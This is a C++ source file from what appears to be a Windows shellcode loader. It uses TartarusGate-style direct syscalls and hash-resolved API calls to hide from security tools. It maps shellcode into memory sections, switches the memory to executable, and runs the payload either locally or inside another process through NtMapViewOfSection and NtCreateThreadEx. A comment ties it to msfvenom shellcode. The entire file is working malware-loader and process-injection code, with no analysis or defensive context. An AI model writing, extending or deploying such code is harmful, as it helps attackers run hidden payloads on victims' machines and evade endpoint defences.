#include "section_map.hpp"
#include "../resolve/api_resolver.hpp"
#include "../common/hashes.hpp"
#include "../common/log.hpp"

#include "../common/log.hpp"

#include <cstring>
#include <iostream>

namespace SectionMap {

SIZE_T PageAlign(SIZE_T size) {
    const SIZE_T page = 4096;
    return (size + page - 1) & ~(page - 1);
}

bool StageLocal(
    TartarusGate::SyscallTable& sc,
    const std::vector<BYTE>& shellcode,
    MappedRegion& out)
{
    Log::Banner("Section Map StageLocal");
    if (!sc.initialized || shellcode.empty()) {
        Log::Dbg("StageLocal abort: initialized=%d empty=%d",
            sc.initialized ? 1 : 0, shellcode.empty() ? 1 : 0);
        return false;
    }

    out = {};

    LARGE_INTEGER maxSize{};
    maxSize.QuadPart = static_cast<LONGLONG>(PageAlign(shellcode.size()));
    Log::Sys("NtCreateSection: MaxSize=%lld Access=SECTION_ALL_ACCESS Prot=PAGE_READWRITE SEC_COMMIT",
        maxSize.QuadPart);

    HANDLE hSection = nullptr;
    NTSTATUS st = sc.NtCreateSection(
        &hSection,
        SECTION_ALL_ACCESS,
        nullptr,
        &maxSize,
        PAGE_READWRITE,
        SEC_COMMIT,
        nullptr);
    Log::NtStatus("NtCreateSection", st);

    if (!NT_SUCCESS(st) || !hSection) {
        return false;
    }
    Log::Sys("section handle=%p", hSection);

    PVOID localView = nullptr;
    SIZE_T viewSize = 0;
    Log::Sys("NtMapViewOfSection: self Process CommitSize=%zu Prot=PAGE_READWRITE",
        static_cast<size_t>(PageAlign(shellcode.size())));
    st = sc.NtMapViewOfSection(
        hSection,
        GetCurrentProcess(),
        &localView,
        0,
        PageAlign(shellcode.size()),
        nullptr,
        &viewSize,
        ViewShare,
        0,
        PAGE_READWRITE);
    Log::NtStatus("NtMapViewOfSection", st);

    if (!NT_SUCCESS(st) || !localView) {
        sc.NtClose(hSection);
        return false;
    }
    Log::Sys("mapped RW view=%p viewSize=%zu", localView, static_cast<size_t>(viewSize));

    std::memcpy(localView, shellcode.data(), shellcode.size());
    Log::Dbg("copied %zu shellcode bytes into view", shellcode.size());

    // W^X: transition mapped view to RX.
    ULONG oldProt = 0;
    PVOID protBase = localView;
    SIZE_T protSize = viewSize;
    Log::Sys("NtProtectVirtualMemory: view=%p NewProt=PAGE_EXECUTE_READ (W^X)", localView);
    st = sc.NtProtectVirtualMemory(
        GetCurrentProcess(),
        &protBase,
        &protSize,
        PAGE_EXECUTE_READ,
        &oldProt);
    Log::NtStatus("NtProtectVirtualMemory", st);

    if (!NT_SUCCESS(st)) {
        sc.NtUnmapViewOfSection(GetCurrentProcess(), localView);
        sc.NtClose(hSection);
        return false;
    }
    Log::Dbg("oldProt=0x%08lX", static_cast<unsigned long>(oldProt));

    out.section   = hSection;
    out.localView = localView;
    out.viewSize  = viewSize;
    return true;
}

bool MapRemote(
    TartarusGate::SyscallTable& sc,
    HANDLE targetProcess,
    MappedRegion& region)
{
    if (!sc.initialized || !region.section || region.mappedRemote) {
        return false;
    }

    PVOID remoteView = nullptr;
    SIZE_T viewSize = region.viewSize;
    NTSTATUS st = sc.NtMapViewOfSection(
        region.section,
        targetProcess,
        &remoteView,
        0,
        0,
        nullptr,
        &viewSize,
        1,
        0,
        PAGE_EXECUTE_READ);

    if (!NT_SUCCESS(st) || !remoteView) {
        return false;
    }

    region.remoteView  = remoteView;
    region.mappedRemote = true;
    region.viewSize    = viewSize;
    return true;
}

bool ExecuteLocal(TartarusGate::SyscallTable& sc, PVOID entry) {
    Log::Banner("ExecuteLocal (CreateThread)");
    if (!sc.initialized || !entry) {
        Log::Dbg("ExecuteLocal abort: initialized=%d entry=%p",
            sc.initialized ? 1 : 0, entry);
        return false;
    }

    // Hash resolved CreateThread matches original loader behavior for msfvenom style shellcode.
    auto* k32 = ApiResolver::GetKernel32();
    if (!k32) {
        Log::Dbg("kernel32 base null");
        return false;
    }

    using CreateThread_t = HANDLE(WINAPI*)(LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD);
    using WaitForSingleObject_t = DWORD(WINAPI*)(HANDLE, DWORD);
    using CloseHandle_t = BOOL(WINAPI*)(HANDLE);

    auto* pCreateThread = reinterpret_cast<CreateThread_t>(
        ApiResolver::ResolveExport(k32, Hashes::H_CreateThread));
    auto* pWait = reinterpret_cast<WaitForSingleObject_t>(
        ApiResolver::ResolveExport(k32, Hashes::H_WaitForSingleObject));
    auto* pClose = reinterpret_cast<CloseHandle_t>(
        ApiResolver::ResolveExport(k32, Hashes::H_CloseHandle));

    if (!pCreateThread || !pWait || !pClose) {
        Log::Err("CreateThread hash resolve failed");
        return false;
    }

    Log::Sys("ExecuteLocal: CreateThread entry=%p (API hash 0x%08X) pCreate=%p",
        entry, Hashes::H_CreateThread, pCreateThread);

    DWORD tid = 0;
    HANDLE hThread = pCreateThread(nullptr, 0,
        reinterpret_cast<LPTHREAD_START_ROUTINE>(entry), nullptr, 0, &tid);
    if (!hThread) {
        Log::Err("CreateThread failed (%lu)", GetLastError());
        return false;
    }

    Log::Raw("thread TID=%lu handle=%p — WaitForSingleObject(INFINITE)", tid, hThread);
    const DWORD waitRc = pWait(hThread, INFINITE);
    Log::Dbg("WaitForSingleObject rc=%lu", waitRc);
    pClose(hThread);
    Log::Dbg("thread exited, handle closed");
    return true;
}

bool ExecuteRemote(TartarusGate::SyscallTable& sc, HANDLE targetProcess, PVOID entry) {
    if (!sc.initialized || !targetProcess || !entry) {
        return false;
    }

    HANDLE hThread = nullptr;
    NTSTATUS st = sc.NtCreateThreadEx(
        &hThread,
        THREAD_ALL_ACCESS,
        nullptr,
        targetProcess,
        entry,
        nullptr,
        0,
        0,
        0,
        0,
        nullptr);

    if (!NT_SUCCESS(st) || !hThread) {
        return false;
    }

    sc.NtClose(hThread);
    return true;
}

void Cleanup(TartarusGate::SyscallTable& sc, MappedRegion& region, HANDLE targetProcess) {
    if (!sc.initialized) {
        return;
    }

    if (region.localView) {
        sc.NtUnmapViewOfSection(GetCurrentProcess(), region.localView);
        region.localView = nullptr;
    }

    if (region.mappedRemote && region.remoteView && targetProcess) {
        sc.NtUnmapViewOfSection(targetProcess, region.remoteView);
        region.remoteView = nullptr;
        region.mappedRemote = false;
    }

    if (region.section) {
        sc.NtClose(region.section);
        region.section = nullptr;
    }
}

} // namespace SectionMap